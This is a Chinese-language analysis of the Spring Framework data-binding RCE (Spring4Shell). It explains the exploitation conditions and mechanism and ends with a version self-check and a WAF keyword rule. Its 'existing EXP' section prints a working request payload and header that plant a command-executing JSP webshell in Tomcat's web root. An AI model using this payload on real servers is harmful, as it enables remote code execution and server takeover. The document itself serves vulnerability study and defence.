Spring_Rce分析
1. ClassLoader
就是类加载器,ClassLoader的具体作用就是将class文件加载到jvm虚拟机中去,程序便可以运行
2. 漏洞利用的条件
Web 应用程序是基于 Spring Framework 构建的(例如 Spring Boot)
Web 应用程序在 JDK 9 或任何更高版本
Web 应用程序使用数据绑定将请求参数绑定到 Java 对象
3. 漏洞利用的两个阶段
2.1 覆盖 Tomcat 特定的ClassLoader属性,将访问日志文件路径更改为 web 根目录下的某个位置,并将日志模式(写入的数据)更改为包含 webshell 代码的常量模式。这会导致 JSP_webshell被放到web 根目录下
2.2 向写入的 webshell 发送查询请求,以执行任意 shell 命令
4.参数绑定
将URL中的的请求参数,进行类型转换(String或其他类型),将转换后的值在赋值给Controller方法形参中,然后Controller就可以直接使用该形参
4.2 参数绑定简介
这种机制从请求 URL 或请求正文中获取参数,并将它们分配给函数参数,或者在某些情况下分配给Java 对象
示例代码:
public class Greeting {
private long id;
private String content;
@GetMapping("/endpoint")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
请求url: http://www.myapp.com/endpoint?id=5&content=hello
最终结果:
greeting.getId() == 5
greeting.getContent() == "hello"
4.3 潜在的危险
将请求参数分配给 Java 对象时,存在一定的安全风险,因为构建对象的某些"内部"参数在外部可以控制,这包括Class、ClassLoader和ProtectionDomain参数
4.4 Java9新特性
从 Java 9 开始,由于引入了新的 API ( class.getModule ),可以绕过 Spring 的保护并直接为ClassLoader的属性分配任意值
5. 漏洞产生的关键点
数据绑定将请求参数绑定到 Java 对象
由于漏洞存在于 Spring 的数据绑定机制中,因此只有尝试将请求参数绑定到 POJO(Plain Old Java Objects)的 Web 应用程序易受攻击
以下任何装饰器都表示可能容易受到影响的请求处理程序
@RequestMapping
@GetMapping
@PostMapping
@PutMapping
@DeleteMapping
@PatchMapping
代码示例:
@Controller
public class HelloController {
@GetMapping("/greeting")
public String helloWorld(@ModelAttribute SomeClass someClass, Model model) {
return "hello";
}
}
6. 现有EXP
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
6.1 EXP分析:
以上属性控制tomcat服务生成的log属性,比如内容后缀等
设置以下属性后,从此开始tomcat的log将被记录入 webapps/ROOT/shell.jsp中
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =
接着我们只需要随便发送⼀个请求,加⼀个叫c2(上面pattern设置的属性)的header,即可写⼊shell
c2: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
7. 目前措施
7.1 自查版本
(1)JDK版本号在9及以上
(2)使用了spring框架或衍生框架
7.2 WAF防护:
添加规则匹配 {“class.","Class. “,”. class.”, “.Class.”}